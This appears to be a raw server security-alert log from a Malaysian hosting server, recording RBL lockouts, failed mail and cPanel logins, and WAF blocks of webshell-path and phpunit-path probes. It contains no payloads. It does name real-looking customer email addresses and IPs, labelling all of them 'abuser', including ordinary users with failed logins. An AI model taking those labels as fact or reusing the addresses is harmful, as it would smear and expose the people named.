plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.143.80
country_id: 690791
description:
Jan 22 08:30:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.143.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.210
country_id: 226074
description:
Jan 22 08:30:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.52.193
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=678166 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.57.137
country_id: 3469034
description:
Jan 22 08:31:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.57.137 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.241.10
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-32.166.0.241.10||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 08:34:54 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:59160: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 08:35:00 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:59160: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.237.113.46
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-detail8.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 08:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55743: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.110.118.4
country_id: 732800
description:
Jan 22 08:36:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.110.118.4 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-22 08:36:26 +0800] info [webmaild] 180.75.72.60 - finance@smartcable.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-22 08:38:17 +0800] info [webmaild] 180.75.72.60 - teressa@smartcable.com.my "GET /cpsess7983019004/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 08:38:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:51851: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.155.38.215
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=78 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.184
country_id: 798544
description:
Jan 22 08:39:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.127
country_id: 690791
description:
Jan 22 08:39:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.122.45
country_id: 3469034
description:
Jan 22 08:40:41 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.122.45 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.127
country_id: 690791
description:
Jan 22 08:40:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.153.108
country_id: 690791
description:
Jan 22 08:41:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.153.108 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 118.100.253.169
country_id: 1733045
description:
[2026-01-22 08:41:41 +0800] info [webmaild] 118.100.253.169 - khadijah@euratech.com.my "POST /cpsess4813122003/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [118.100.95.65] != Current IP Address [118.100.253.169]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 08:42:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52980: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 08:44:52 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-22 08:44:46 +0800] info [cpaneld] 165.22.212.32 - plomalit "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user plomalit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 08:45:01 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 08:45:33 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.162.51
country_id: 719819
description:
Jan 22 08:46:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.162.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.193.160.187
country_id: 1269750
description:
Jan 22 08:46:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.193.160.187 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.102.49
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=19 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 08:50:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52421: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-22 08:50:27 H=([45.144.212.50]) [45.144.212.50]:51964 F=<azlan@permalanka.lk> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from permalanka.lk


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.153.3.119
country_id: 3175395
description:
Jan 22 08:50:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.153.3.119 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.153.3.119
country_id: 3175395
description:
Jan 22 08:50:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.153.3.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.2
country_id: 226074
description:
Jan 22 08:51:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 131.226.114.105
country_id: 1694008
domain: kimmark.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:37286.kimmark.com||ServerName:kimmark.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d08ba0bf87cd18de5e123690852fdf77add7bd89||Title:0xf60bebc5||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.211.94
country_id: 933860
description:
Jan 22 08:54:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.211.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.87.104.75
country_id: 1269750
description:
Jan 22 08:54:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.87.104.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.57
country_id: 3865483
description:
Jan 22 08:55:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.156
country_id: 1269750
description:
Jan 22 08:55:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.126
country_id: 3175395
description:
Jan 22 08:55:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-22 08:58:52 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.253.55.146
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/afraid/10/112/1031803 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.51
country_id: 719819
description:
Jan 22 09:05:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.156.238
country_id: 99237
description:
Jan 22 09:05:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.156.238 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 09:05:41 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jan 22 09:05:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 09:06:08 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.63
country_id: 798544
description:
Jan 22 09:06:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.177
country_id: 953987
description:
Jan 22 09:06:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.189
country_id: 3865483
description:
Jan 22 09:05:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 09:06:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58721: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-22 09:07:01 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.109
country_id: 6252001
description:
Jan 22 09:08:30 sv3 pure-ftpd[3918923]: (?@198.235.24.109) [INFO] New connection from 198.235.24.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.4
country_id: 690791
description:
Jan 22 09:08:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.4 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.205.237.158
country_id: 2589581
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/robot/12/337/1229080 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.31
country_id: 690791
description:
Jan 22 09:09:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.31 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 84.54.44.30
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:09-09.84.54.44.30||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-22 09:10:25 +0800] info [webmaild] 175.142.113.50 - purchase2@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 09:12:34 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.197.6.225
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpunit/phpunit-mock-objects/tests/Matcher HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.68.170.8
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpunit/phpunit-mock-objects/tests/Matcher/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.51.26.198
country_id: 1269750
description:
Jan 22 09:14:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.51.26.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.197
country_id: 1269750
description:
Jan 22 09:19:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.166.179.34
country_id: 1880251
description:
Jan 22 09:19:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.166.179.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.74.112
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&page_id=1&sub=9 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/portfolio-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 09:21:39 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.109.93
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=448567 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.121
country_id: 3469034
description:
Jan 22 09:23:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 91.208.197.125
country_id: 617790
domain: agsaintifik.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3947.132 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 09:23:51 H=([45.144.212.242]) [45.144.212.242]:54132 F=<no_reply@admin.com> rejected RCPT <bengkok.lim@acburn.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.196.236
country_id: 2510769
description:
Jan 22 09:23:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.196.236 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.196.236
country_id: 2510769
description:
Jan 22 09:23:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.196.236 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 09:25:23 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/es/img/photos/video.php||SC:/home/indfinitydesign/public_html/es||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.228.74.29
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739603 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.175.151.45
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2334 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 09:26:32 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9850386286/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.188
country_id: 1814991
description:
Jan 22 09:26:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-01-22 09:26:28 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:40310: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.97.111
country_id: 3469034
description:
Jan 22 09:27:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.97.111 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 09:27:32 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9850386286/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.17.166.62
country_id: 3469034
description:
Jan 22 09:27:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.17.166.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.96.251
country_id: 3865483
description:
Jan 22 09:27:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.96.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 09:28:32 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9850386286/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.114
country_id: 3469034
description:
Jan 22 09:28:54 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.202.96.251
country_id: 3865483
description:
Jan 22 09:28:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.202.96.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.234
country_id: 226074
description:
Jan 22 09:28:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.206
country_id: 3175395
description:
Jan 22 09:28:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.114
country_id: 3469034
description:
Jan 22 09:29:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.45.85.146
country_id: 798544
description:
Jan 22 09:30:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.45.85.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
